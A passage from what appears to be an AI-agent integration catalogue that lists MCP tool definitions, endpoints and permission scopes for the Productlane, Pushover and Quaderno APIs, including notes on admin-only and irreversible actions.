conversation counts per workspace member for a date range. GET /api/v1/productlane/reporting/team. Scopes: none. productlane_get_settings_ai_agent (read) — Get AI agent settings. GET /settings/ai-agent. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Fetch the AI agent's configuration, including where it is deployed and its draft and routine settings. Requires the admin scope. GET /api/v1/productlane/settings/ai-agent. Scopes: admin. productlane_get_settings_allowed_email_domains (read) — List allowed email domains. GET /settings/allowed-email-domains. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. List the domains whose users can join the workspace, with their verification state. Requires the admin scope. GET /api/v1/productlane/settings/allowed-email-domains. Scopes: admin. productlane_get_settings_api_keys (read) — List API keys. GET /settings/api-keys. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. List the workspace's API keys with their scopes and usage. Only the four-character preview is returned, never the key. Requires the admin scope. GET /api/v1/productlane/settings/api-keys. Scopes: admin. productlane_get_settings_email_addresses (read) — List email addresses. GET /settings/email-addresses. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. List the workspace's sending addresses with their auto-reply and DNS state. Requires the admin scope. GET /api/v1/productlane/settings/email-addresses. Scopes: admin. productlane_get_settings_integrations (read) — List integration connections. GET /settings/integrations. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Report which third-party integrations are connected. Credentials are never returned. Requires the admin scope. GET /api/v1/productlane/settings/integrations. Scopes: admin. productlane_get_settings_sso (read) — Get SSO settings. GET /settings/sso. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Fetch the SSO configuration and which public surfaces it gates. The signing secret is never returned. Requires the admin scope. GET /api/v1/productlane/settings/sso. Scopes: admin. productlane_get_settings_webhooks (read) — List webhooks. GET /settings/webhooks. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. List webhook subscriptions with their URLs and event patterns. Signing secrets are never returned. Requires the admin scope. GET /api/v1/productlane/settings/webhooks. Scopes: admin. productlane_get_settings_widget (read) — Get widget settings. GET /settings/widget. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Fetch the embeddable widget's configuration and which sections it shows. Requires the admin scope. GET /api/v1/productlane/settings/widget. Scopes: admin. productlane_get_settings_workspace (read) — Get workspace settings. GET /settings/workspace. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Fetch workspace-level configuration: name, domains, SLA, timezone, and inbound email. Requires the admin scope. GET /api/v1/productlane/settings/workspace. Scopes: admin. productlane_get_snippets (read) — List snippets. GET /snippets. List reply snippets in the workspace. Cursor-paginated. Requires the Pro plan and the snippets:read scope. GET /api/v1/productlane/snippets. Scopes: snippets:read. productlane_get_snippets_by_id (read) — Get snippet. GET /snippets/{id}. Fetch a snippet by id. Requires the Pro plan and the snippets:read scope. GET /api/v1/productlane/snippets/{id}. Scopes: snippets:read. productlane_get_snippets_folders (read) — List snippet folders. GET /snippets/folders. List snippet folders in the workspace. Use a returned `id` as `folder_id` when creating or moving a snippet. Requires the Pro plan and the snippets:read scope. GET /api/v1/productlane/snippets/folders. Scopes: snippets:read. productlane_get_tags (read) — List tags. GET /tags. List thread tags in the workspace. Cursor-paginated. Requires the tags:read scope. GET /api/v1/productlane/tags. Scopes: tags:read. productlane_get_tags_by_id (read) — Get tag. GET /tags/{id}. Fetch a tag by id. Requires the tags:read scope. GET /api/v1/productlane/tags/{id}. Scopes: tags:read. productlane_get_tags_groups (read) — List tag groups. GET /tags/groups. List tag groups in the workspace. Use a returned `id` as `tag_group_id` when creating or moving a tag. Requires the tags:read scope. GET /api/v1/productlane/tags/groups. Scopes: tags:read. productlane_get_tags_groups_by_id (read) — Get tag group. GET /tags/groups/{id}. Fetch a tag group by id. Requires the tags:read scope. GET /api/v1/productlane/tags/groups/{id}. Scopes: tags:read. productlane_get_threads (read) — List threads. GET /threads. List threads in the workspace. Cursor-paginated. Requires the threads:read scope. GET /api/v1/productlane/threads. Scopes: threads:read. productlane_get_threads_by_id (read) — Get thread. GET /threads/{id}. Fetch a thread by id. Use `expand` to inline messages and/or comments. Requires the threads:read scope. GET /api/v1/productlane/threads/{id}. Scopes: threads:read. productlane_get_threads_by_thread_id_comments (read) — List internal comments. GET /threads/{thread_id}/comments. List internal comments on a thread. Comments are visible to teammates only. Requires the threads:read scope. GET /api/v1/productlane/threads/{thread_id}/comments. Scopes: threads:read. productlane_get_threads_by_thread_id_messages (read) — List thread messages. GET /threads/{thread_id}/messages. List the conversation on a thread, merged across all channels and sorted oldest-first by default. Requires the threads:read scope. GET /api/v1/productlane/threads/{thread_id}/messages. Scopes: threads:read. productlane_patch_changelog_tags_by_id (write) — Update a changelog tag. PATCH /changelog-tags/{id}. Patch a changelog tag's name, color, or icon. Pass `icon: null` to remove the icon and render a colored dot. Requires the Scale plan and the changelogs:write scope. PATCH /api/v1/productlane/changelog-tags/{id}. Scopes: changelogs:write. productlane_patch_changelogs_by_id (write) — Update changelog. PATCH /changelogs/{id}. Update a changelog. `content` replaces the whole body, so read the current one and edit that rather than sending a body you assembled earlier. Pass `language` to upsert a translation row; non-translatable fields always apply to the base. Requires the changelogs:write scope. PATCH /api/v1/productlane/changelogs/{id}. Scopes: changelogs:write. productlane_patch_companies_by_id (write) — Update company. PATCH /companies/{id}. Update a company. Linear identity fields are synced asynchronously. Requires the companies:write scope. PATCH /api/v1/productlane/companies/{id}. Scopes: companies:write. productlane_patch_contacts_by_id (write) — Update contact. PATCH /contacts/{id}. Update a contact. Requires the contacts:write scope. PATCH /api/v1/productlane/contacts/{id}. Scopes: contacts:write. productlane_patch_docs_articles_by_id (write) — Update docs article. PATCH /docs/articles/{id}. Update a help-center article. `content` replaces the whole body and is rejected when it leaves out an image the article still has. Pass `language` to upsert a translation row; non-translatable fields always apply to the base. Requires the docs:write scope. PATCH /api/v1/productlane/docs/articles/{id}. Scopes: docs:write. productlane_patch_docs_groups_by_id (write) — Update docs group. PATCH /docs/groups/{id}. Update a help-center group. Requires the docs:write scope. PATCH /api/v1/productlane/docs/groups/{id}. Scopes: docs:write. productlane_patch_integrations_cursor (write) — Update Cursor Cloud settings. PATCH /integrations/cursor. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Set the repository, model, or standing instructions for the coding agent. Requires the admin scope. PATCH /api/v1/productlane/integrations/cursor. Scopes: admin. productlane_patch_issues_by_id (write) — Update issue. PATCH /issues/{id}. Update an issue, synced to Linear. Linear sync failures are logged but do not block the local update. Requires the issues:write scope. PATCH /api/v1/productlane/issues/{id}. Scopes: issues:write. productlane_patch_members_by_user_id (write) — Change a member's role. PATCH /members/{user_id}. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Change a member's role. Cannot demote the last admin and cannot change your own role. Requires the admin scope. PATCH /api/v1/productlane/members/{user_id}. Scopes: admin. productlane_patch_projects_by_id (write) — Update project. PATCH /projects/{id}. Update a project, synced to Linear. Linear sync failures are logged but do not block the local update. Requires the projects:write scope. PATCH /api/v1/productlane/projects/{id}. Scopes: projects:write. productlane_patch_settings_ai_agent (write) — Update AI agent settings. PATCH /settings/ai-agent. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Update the agent's drafts, routines, and deployment surfaces. Enabling a surface makes the agent answer customers there. Instructions, prompts, and the auto-reply switch are read-only here. Requires the admin scope. PATCH /api/v1/productlane/settings/ai-agent. Scopes: admin. productlane_patch_settings_email_addresses_by_id (write) — Update email address settings. PATCH /settings/email-addresses/{id}. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Update an address's sender names, auto-reply, and forwarding behavior. Only the fields you send change. Requires the admin scope. PATCH /api/v1/productlane/settings/email-addresses/{id}. Scopes: admin. productlane_patch_settings_sso (write) — Update SSO settings. PATCH /settings/sso. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Update the SSO token endpoint and which public surfaces it gates. Needs the Scale plan and the admin scope. PATCH /api/v1/productlane/settings/sso. Scopes: admin. productlane_patch_settings_webhooks_by_id (write) — Update webhook. PATCH /settings/webhooks/{id}. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Update a webhook's label, url, events, or active state. Setting active to true also clears an automatic disable. Requires the admin scope. PATCH /api/v1/productlane/settings/webhooks/{id}. Scopes: admin. productlane_patch_settings_widget (write) — Update widget settings. PATCH /settings/widget. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Update the widget's appearance and which sections it shows to customers. Requires the admin scope. PATCH /api/v1/productlane/settings/widget. Scopes: admin. productlane_patch_settings_workspace (write) — Update workspace settings. PATCH /settings/workspace. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Update workspace name, logo, timezone, and SLA configuration. Only the fields you send change. Requires the admin scope. PATCH /api/v1/productlane/settings/workspace. Scopes: admin. productlane_patch_snippets_by_id (write) — Update snippet. PATCH /snippets/{id}. Update a snippet. Requires the Pro plan and the snippets:write scope. PATCH /api/v1/productlane/snippets/{id}. Scopes: snippets:write. productlane_patch_tags_by_id (write) — Update tag. PATCH /tags/{id}. Update a tag. Requires the tags:write scope. PATCH /api/v1/productlane/tags/{id}. Scopes: tags:write. productlane_patch_tags_groups_by_id (write) — Update tag group. PATCH /tags/groups/{id}. Update a tag group. Requires the tags:write scope. PATCH /api/v1/productlane/tags/groups/{id}. Scopes: tags:write. productlane_patch_threads_by_id (write) — Update thread. PATCH /threads/{id}. Update a thread. To patch many threads, call `/threads/bulk-update` once instead of looping here. Requires the threads:write scope. PATCH /api/v1/productlane/threads/{id}. Scopes: threads:write. productlane_patch_threads_by_thread_id_comments_by_comment_id (write) — Update an internal comment. PATCH /threads/{thread_id}/comments/{comment_id}. Edit an internal comment. Requires the comments:write scope. PATCH /api/v1/productlane/threads/{thread_id}/comments/{comment_id}. Scopes: comments:write. productlane_post_billing_cancel (write) — Cancel the subscription. POST /billing/cancel. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Cancel at the end of the paid period; access continues until then. Startup program contracts cannot cancel this way. Requires the admin scope. POST /api/v1/productlane/billing/cancel. Scopes: admin. productlane_post_billing_resume (write) — Resume a cancelling subscription. POST /billing/resume. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Clear a pending cancellation so the subscription renews as normal. Requires the admin scope. POST /api/v1/productlane/billing/resume. Scopes: admin. productlane_post_changelog_tags (write) — Create a changelog tag. POST /changelog-tags. Create a tag that can be attached to changelogs. Provide at least one of `color` or `icon`: with only `color`, the dashboard renders a colored dot; with `icon` (a Lucide icon name), it renders the icon in that color. Requires the Scale plan and the changelogs:write scope. POST /api/v1/productlane/changelog-tags. Scopes: changelogs:write. productlane_post_changelogs (write) — Create changelog. POST /changelogs. Create a changelog. Pass `language` to create a translation row instead of populating the base row. Requires the changelogs:write scope. POST /api/v1/productlane/changelogs. Scopes: changelogs:write. productlane_post_changelogs_by_id_broadcast (write) — Send a changelog broadcast. POST /changelogs/{id}/broadcast. Broadcast an existing changelog to subscribers via email and/or Slack. Pass `email: true` to send to subscribed contacts (requires the email integration enabled) and/or `slack: true` to post to the configured Slack channels (requires Slack connect). At least one channel is required. This endpoint never toggles `published` - use PATCH /changelogs/{id} for that. Requires the Pro plan or higher and the changelogs:write scope. POST /api/v1/productlane/changelogs/{id}/broadcast. Scopes: changelogs:write. productlane_post_changelogs_by_id_translate (write) — Translate a changelog. POST /changelogs/{id}/translate. Queue an AI translation of a changelog into one language. Counts against the workspace's AI budget. POST /api/v1/productlane/changelogs/{id}/translate. Scopes: none. productlane_post_coding_agent_runs (write) — Start a coding agent run. POST /coding-agent/runs. Hand an issue to the coding agent, which writes code and opens a pull request. Requires Cursor Cloud connected with a repository. POST /api/v1/productlane/coding-agent/runs. Scopes: none. productlane_post_coding_agent_runs_by_id_follow_up (write) — Send a follow-up to a coding agent run. POST /coding-agent/runs/{id}/follow-up. Send more instructions to a run that is still working. POST /api/v1/productlane/coding-agent/runs/{id}/follow-up. Scopes: none. productlane_post_coding_agent_runs_by_id_stop (write) — Stop a coding agent run. POST /coding-agent/runs/{id}/stop. Stop a run that is still working. Any branch it already pushed stays. POST /api/v1/productlane/coding-agent/runs/{id}/stop. Scopes: none. productlane_post_companies (write) — Create company. POST /companies. Create a company. Linear customer is provisioned asynchronously once a domain is set. Requires the companies:write scope. POST /api/v1/productlane/companies. Scopes: companies:write. productlane_post_companies_by_id_merge (write) — Merge a company into another. POST /companies/{id}/merge. Merge source_id into the path company. Moves the source's threads, contacts, and upvotes to the survivor, fills the survivor's empty properties, then deletes the source. Merges the linked Linear customers when both exist. Requires the companies:write scope. POST /api/v1/productlane/companies/{id}/merge. Scopes: companies:write. productlane_post_contacts (write) — Create contact. POST /contacts. Create a contact. Requires the contacts:write scope. POST /api/v1/productlane/contacts. Scopes: contacts:write. productlane_post_contacts_blocked_senders (write) — Block a sender. POST /contacts/blocked-senders. Block an email address (`type: "EMAIL"`) or an entire domain (`type: "DOMAIN"`). Blocked senders cannot create new threads or post on existing ones. Requires the contacts:write scope. POST /api/v1/productlane/contacts/blocked-senders. Scopes: contacts:write. productlane_post_contacts_by_id_companies (write) — Add a contact to a company. POST /contacts/{id}/companies. Add a company to the contact's memberships. Idempotent, and becomes the primary when the contact has none. Requires the contacts:write scope. POST /api/v1/productlane/contacts/{id}/companies. Scopes: contacts:write. productlane_post_docs_articles (write) — Create docs article. POST /docs/articles. Create a help-center article. Pass `language` to create a translation row instead of populating the base. Requires the docs:write scope. POST /api/v1/productlane/docs/articles. Scopes: docs:write. productlane_post_docs_articles_by_id_translate (write) — Translate a help center article. POST /docs/articles/{id}/translate. Queue an AI translation of an article into one language. The translated row appears when the job finishes. Counts against the workspace's AI budget. POST /api/v1/productlane/docs/articles/{id}/translate. Scopes: none. productlane_post_docs_articles_move (write) — Move articles to a group. POST /docs/articles/move. Reassign articles to a group. Requires the docs:write scope. POST /api/v1/productlane/docs/articles/move. Scopes: docs:write. productlane_post_docs_drafts (write) — Create docs draft. POST /docs/drafts. Propose an article change for review. `kind: edit` edits an existing article, `kind: create` proposes a new article, `kind: delete` proposes removal. POST /api/v1/productlane/docs/drafts. Scopes: none. productlane_post_docs_drafts_by_id_accept (write) — Accept docs draft. POST /docs/drafts/{id}/accept. Merge the draft. EDIT writes a new version of the article; CREATE materializes a new (unpublished) article; DELETE soft-deletes the article. Returns `superseded` instead of `accepted` when the draft no longer applies cleanly. POST /api/v1/productlane/docs/drafts/{id}/accept. Scopes: none. productlane_post_docs_drafts_by_id_decline (write) — Decline docs draft. POST /docs/drafts/{id}/decline. Reject the draft. Keeps the row for audit but marks it as REJECTED so it stops appearing in the open queue. POST /api/v1/productlane/docs/drafts/{id}/decline. Scopes: none. productlane_post_docs_groups (write) — Create docs group. POST /docs/groups. Create a help-center group. Requires the docs:write scope. POST /api/v1/productlane/docs/groups. Scopes: docs:write. productlane_post_files_import (write) — Import a file. POST /files/import. Store a file from a public URL or from inline base64 and return its CDN URL. The JSON alternative to the multipart POST /files upload. POST /api/v1/productlane/files/import. Scopes: files:write. productlane_post_issues (write) — Create issue. POST /issues. Create an issue, filed in Linear first and mirrored to Productlane. Requires Linear to be connected and the issues:write scope. POST /api/v1/productlane/issues. Scopes: issues:write. productlane_post_members_invites (write) — Invite a member. POST /members/invites. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Create a workspace invite and send the invitation email. The API key must have been created by a workspace member because the invite is attributed to a user. Requires the admin scope. POST /api/v1/productlane/members/invites. Scopes: admin. productlane_post_projects (write) — Create project. POST /projects. Create a project, synced to Linear. Requires Linear to be connected and the projects:write scope. POST /api/v1/productlane/projects. Scopes: projects:write. productlane_post_settings_api_keys (write) — Create API key. POST /settings/api-keys. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Mint a new API key with the scopes you name. The key itself is returned once and is never retrievable again. Requires the admin scope. POST /api/v1/productlane/settings/api-keys. Scopes: admin. productlane_post_settings_api_keys_by_id_revoke (write) — Revoke API key. POST /settings/api-keys/{id}/revoke. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Revoke an API key. It stops authenticating immediately. A key cannot revoke itself. Requires the admin scope. POST /api/v1/productlane/settings/api-keys/{id}/revoke. Scopes: admin. productlane_post_settings_sso_rotate_secret (write) — Rotate the SSO secret. POST /settings/sso/rotate-secret. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Issue a new SSO signing secret. The old one stops verifying at once, so update your identity provider first. Returned once. Needs the Scale plan and the admin scope. POST /api/v1/productlane/settings/sso/rotate-secret. Scopes: admin. productlane_post_settings_webhooks_by_id_rotate_secret (write) — Rotate webhook signing secret. POST /settings/webhooks/{id}/rotate-secret. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Issue a new signing secret for a webhook. The old secret stops verifying at once, so update your receiver first. The new secret is returned once. Requires the admin scope. POST /api/v1/productlane/settings/webhooks/{id}/rotate-secret. Scopes: admin. productlane_post_snippets (write) — Create snippet. POST /snippets. Create a reply snippet. Requires the Pro plan and the snippets:write scope. POST /api/v1/productlane/snippets. Scopes: snippets:write. productlane_post_tags (write) — Create tag. POST /tags. Create a thread tag. `tag_group_id` is required; fetch the workspace's groups via `GET /tags/groups`. Requires the tags:write scope. POST /api/v1/productlane/tags. Scopes: tags:write. productlane_post_tags_groups (write) — Create tag group. POST /tags/groups. Create a tag group. Requires the tags:write scope. POST /api/v1/productlane/tags/groups. Scopes: tags:write. productlane_post_threads (write) — Create thread. POST /threads. Create a thread and upsert its contact by email. Requires the threads:write scope. POST /api/v1/productlane/threads. Scopes: threads:write. productlane_post_threads_bulk_delete (write) — Delete threads in bulk. POST /threads/bulk-delete. Soft-delete up to 100 threads. The batch counts as a single write against the rate limit and reports per-thread rejects in `failed`. Requires the threads:write scope. POST /api/v1/productlane/threads/bulk-delete. Scopes: threads:write. productlane_post_threads_bulk_update (write) — Update threads in bulk. POST /threads/bulk-update. Apply one patch to up to 100 threads. The batch counts as a single write against the rate limit and reports per-thread rejects in `failed`. Requires the threads:write scope. POST /api/v1/productlane/threads/bulk-update. Scopes: threads:write. productlane_post_threads_by_thread_id_comments (write) — Post an internal comment. POST /threads/{thread_id}/comments. Post an internal comment on a thread. Visible to teammates only. Requires the comments:write scope. POST /api/v1/productlane/threads/{thread_id}/comments. Scopes: comments:write. productlane_post_threads_by_thread_id_customer_needs (write) — Link thread to issues or projects. POST /threads/{thread_id}/customer-needs. Link a thread to one or more issues and/or projects via Linear's customer-need pipeline. Requires Linear to be connected and the threads:write scope. POST /api/v1/productlane/threads/{thread_id}/customer-needs. Scopes: threads:write. productlane_post_threads_by_thread_id_messages (write) — Send a message. POST /threads/{thread_id}/messages. Send a message on a thread. The channel (email, Slack, live chat, Microsoft Teams) is auto-detected from the thread's origin and the response includes the channel that was used. Returns 400 with code `validation_failed` when the matching integration is not configured for the workspace. Requires the messages:write scope; Slack replies need the Pro plan and Teams replies the Scale plan. POST /api/v1/productlane/threads/{thread_id}/messages. Scopes: messages:write. productlane_put_settings_custom_domain (write) — Set the custom domain. PUT /settings/custom-domain. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Point a domain you own at this workspace's portal and help center. A workspace can hold one custom domain; contact support to change it later. Needs the Starter plan and the admin scope. PUT /api/v1/productlane/settings/custom-domain. Scopes: admin. ================================================================================ ## Pushover URL: https://www.agenticfabriq.com/integrations/pushover Section: Integrated Tools Pushover — 19 MCP tools Provider key: pushover. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. pushover_add_user_to_group (write) — Add a user to a delivery group. POST /1/groups/{group_key}/add_user.json. Adds a Pushover user to the group, so messages addressed to the group key reach them too. `target_user_key` names the person being added, which in the ordinary case is SOMEBODY ELSE's user key -- this connection's own key is used only when none is given. `device` pins the membership to one of their devices; `memo` records up to 200 characters about them, such as their name or email address. POST /api/v1/pushover/groups/{group_key}/add_user. Scopes: api. pushover_assign_license (write, destructive) — Assign a purchased licence credit to a user. POST /1/licenses/assign.json. Spends one of the licence credits bought against this application to license a Pushover client for somebody -- named either by `target_user_key` or by `email`, and optionally restricted to one platform by `os`. Left unrestricted, the licence lands on whichever platform they first register a device on; assigned to an email address, it waits until somebody signs up with it. IRREVERSIBLE AND PAID: Pushover states that credits are not refundable and that 'Once a license has been assigned to a Pushover user account, it cannot be revoked or reassigned to another user', and every call spends exactly one credit for one platform. Pushover's own advice is to surface any error here rather than retry. POST /api/v1/pushover/licenses/assign. Scopes: api. pushover_cancel_receipt (write, destructive) — Stop retrying one emergency notification. POST /1/receipts/{receipt}/cancel.json. Ends the repeat delivery of one emergency-priority notification before its `expire` window runs out, so it stops sounding on the recipient's devices. What was already delivered is not withdrawn -- only the retries stop -- and cancelling cannot be undone. POST /api/v1/pushover/receipts/{receipt}/cancel. Scopes: api. pushover_cancel_receipts_by_tag (write, destructive) — Stop retrying every emergency notification carrying a tag. POST /1/receipts/cancel_by_tag/{tag}.json. Ends the repeat delivery of ALL of this application's still-active emergency-priority notifications that were sent with the given tag -- possibly many messages, to many different recipients, in one call. Pushover's own example is a monitor tagging each alert `l=chicago` and clearing the lot once the outage is correlated. What was already delivered is not withdrawn, and cancelling cannot be undone. POST /api/v1/pushover/receipts/cancel_by_tag/{tag}. Scopes: api. pushover_check_license_credits (read) — Check how many licence credits remain. GET /1/licenses.json. Answers the number of unassigned licence `credits` left on this application WITHOUT spending one -- the same response shape as assigning a licence. Credits are bought on pushover.net under the application, and are not refundable. GET /api/v1/pushover/licenses. Scopes: api. pushover_create_group (write) — Create a delivery group. POST /1/groups.json. Creates an empty delivery group on the account that owns this application token and answers its `group` key. A group key looks exactly like a user key and is used in the same place: a message addressed to it reaches every active member at once. Any application on the account or team may create one. POST /api/v1/pushover/groups. Scopes: api. pushover_disable_user_in_group (write) — Temporarily disable a user in a delivery group. POST /1/groups/{group_key}/disable_user.json. Stops group messages reaching one member while keeping their membership, device pin and memo intact -- the reversible counterpart to removing them, and the right call for somebody on holiday or off shift. `target_user_key` names the member. POST /api/v1/pushover/groups/{group_key}/disable_user. Scopes: api. pushover_enable_user_in_group (write) — Re-enable a disabled user in a delivery group. POST /1/groups/{group_key}/enable_user.json. Undoes a disable: group messages reach the member again, with their existing device pin and memo. `target_user_key` names the member. POST /api/v1/pushover/groups/{group_key}/enable_user. Scopes: api. pushover_get_app_limits (read) — Check this month's message quota. GET /1/apps/limits.json. Answers `limit`, `remaining` and `reset` -- the monthly message allowance (plus any purchased capacity), how many are left, and the Unix timestamp the count resets at, which is 00:00:00 US Central on the 1st. Despite the endpoint's name the quota belongs to the WHOLE user or team account rather than to one application: Pushover keeps the old wording for historical reasons. Once it is spent, every application on the account is refused with 429. GET /api/v1/pushover/apps/limits. Scopes: api. pushover_get_group (read) — List one delivery group's members. GET /1/groups/{group_key}.json. Answers the group's `name` and a `users` array naming each member -- their user key, the `device` their membership is pinned to if any, the free-text `memo` recorded against them, and whether they are currently disabled. GET /api/v1/pushover/groups/{group_key}. Scopes: api. pushover_get_receipt (read) — Check whether an emergency notification was acknowledged. GET /1/receipts/{receipt}.json. Answers the state of one emergency-priority (priority 2) notification: whether it was `acknowledged` and when, `acknowledged_by` and on which device, when it was `last_delivered_at`, whether it has `expired` and when it `expires_at`, and whether Pushover has `called_back` to the callback URL. The receipt id comes back from the message tool when priority is 2, and stays pollable for one week. Pushover asks for no more than one poll every 5 seconds -- or supply a `callback` URL on the message instead and be told. GET /api/v1/pushover/receipts/{receipt}. Scopes: api. pushover_list_groups (read) — List this account's delivery groups. GET /1/groups.json. Answers a `groups` array giving each group's `group` key and `name`, for the account that owns this application token. GET /api/v1/pushover/groups. Scopes: api. pushover_list_sounds (read) — List the notification sounds this application may use. GET /1/sounds.json. Answers a `sounds` hash whose keys are exactly the values the `sound` parameter accepts and whose values name each one -- Pushover's 23 built-in tones plus any custom sounds uploaded to the account that owns this application token. Pushover's own advice is to offer this list to the person choosing, along with a blank option that omits `sound` and lets their default tone play. This is also the endpoint the credential check uses when a key is pasted. GET /api/v1/pushover/sounds. Scopes: api. pushover_migrate_subscription (write) — Migrate a user key to a subscription key. POST /1/subscriptions/migrate.json. Exchanges a Pushover user key an application already holds for a subscription-scoped key under the subscription named in `subscription`, and answers `subscribed_user_key` to store in its place -- the original key can then be discarded. Migrates this connection's own key unless `target_user_key` names another, and naming another is the ordinary case: this endpoint exists to move an application's existing collection of collected user keys onto subscriptions, one request per user. POST /api/v1/pushover/subscriptions/migrate. Scopes: api. pushover_push_message (write) — Send a push notification. POST /1/messages.json. Delivers a message to this connection's own Pushover account, or to the user or group key named in `target_user_key`, and answers `{status: 1, request: <id>}`. `message` is required; `title` defaults to the application's name. Priority 2 (emergency) also requires `retry` and `expire`, repeats until somebody acknowledges it, and returns a `receipt` the receipt tools can poll or cancel. Messages are limited to 1024 UTF-8 characters and a title to 250; each account may send 10,000 messages a month for free, and past that EVERY application on the account is refused with 429 until the 1st. POST /api/v1/pushover/messages. Scopes: api. pushover_remove_user_from_group (write, destructive) — Remove a user from a delivery group. POST /1/groups/{group_key}/remove_user.json. Removes a member, so messages addressed to the group key stop reaching them, and discards the `memo` and device pin recorded against that membership. `target_user_key` names the person being removed. Removal is not reversible -- re-adding them creates a fresh membership with nothing carried over -- so to pause somebody temporarily, disable them instead. POST /api/v1/pushover/groups/{group_key}/remove_user. Scopes: api. pushover_rename_group (write) — Rename a delivery group. POST /1/groups/{group_key}/rename.json. Changes the group's display name. The group key does not change, so nothing that already addresses the group needs updating. POST /api/v1/pushover/groups/{group_key}/rename. Scopes: api. pushover_update_glance (write) — Update a widget's glance data. POST /1/glances.json. Pushes a short piece of text or a number to the recipient's Pushover widget -- an Apple Watch complication today -- WITHOUT generating a notification, a sound, or a stored message. Send at least one of `title`, `text`, `subtext`, `count` or `percent`; fields you leave out keep whatever they held before, and a field sent as an empty string is cleared. Updates this connection's own account unless `target_user_key` names another. The recipient must already have a widget registered, watchOS caps updates at about 50 a day and Pushover throttles nothing itself -- it recommends at least 20 minutes between calls -- and data can take up to 10 minutes to appear. POST /api/v1/pushover/glances. Scopes: api. pushover_validate_user (read) — Validate a user or group key. POST /1/users/validate.json. Checks that a Pushover user or group key exists and has at least one active device, and answers with `devices` (that account's active device names) and `licenses` (the platforms it is licensed for). Checks this connection's own key unless `target_user_key` names another -- checking somebody else's is the documented purpose, as a way to confirm a person copied their key correctly before you store it. MEASURED 2026-09-16: an account that exists but has registered NO device answers 400 `user is valid but has no active devices`. The key is correct and the account is real; it simply has nothing to deliver to yet, so that response is not a credential failure and re-pasting will not change it. POST /api/v1/pushover/users/validate. Scopes: api. ================================================================================ ## Quaderno URL: https://www.agenticfabriq.com/integrations/quaderno Section: Integrated Tools Quaderno — 92 MCP tools Provider key: quaderno. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. quaderno_delete_checkout_coupons_by_id (write, destructive) — Delete coupon via DELETE /checkout/coupons/{id} DELETE /api/v1/quaderno/checkout/coupons/{id}. Scopes: api. quaderno_delete_checkout_sessions_by_id (write, destructive) — Delete session via DELETE /checkout/sessions/{id} DELETE /api/v1/quaderno/checkout/sessions/{id}. Scopes: api. quaderno_delete_contacts_by_id (write, destructive) — Delete contact via DELETE /contacts/{id} DELETE /api/v1/quaderno/contacts/{id}. Scopes: api. quaderno_delete_expenses_by_id (write, destructive) — Delete expense via DELETE /expenses/{id} DELETE /api/v1/quaderno/expenses/{id}. Scopes: api. quaderno_delete_items_by_id (write, destructive) — Delete product via DELETE /items/{id} DELETE /api/v1/quaderno/items/{id}. Scopes: api. quaderno_delete_recurring_by_id (write, destructive) — Delete recurring via DELETE /recurring/{id} DELETE /api/v1/quaderno/recurring/{id}. Scopes: api. quaderno_delete_tax_ids_by_id (write, destructive) — Delete tax id via DELETE /tax_ids/{id} DELETE /api/v1/quaderno/tax_ids/{id}. Scopes: api. quaderno_delete_webhooks_by_id (write, destructive) — Delete webhook via DELETE /webhooks/{id} DELETE /api/v1/quaderno/webhooks/{id}. Scopes: api. quaderno_get_accounts (read) — List custom accounts via GET /accounts GET /api/v1/quaderno/accounts. Scopes: api. 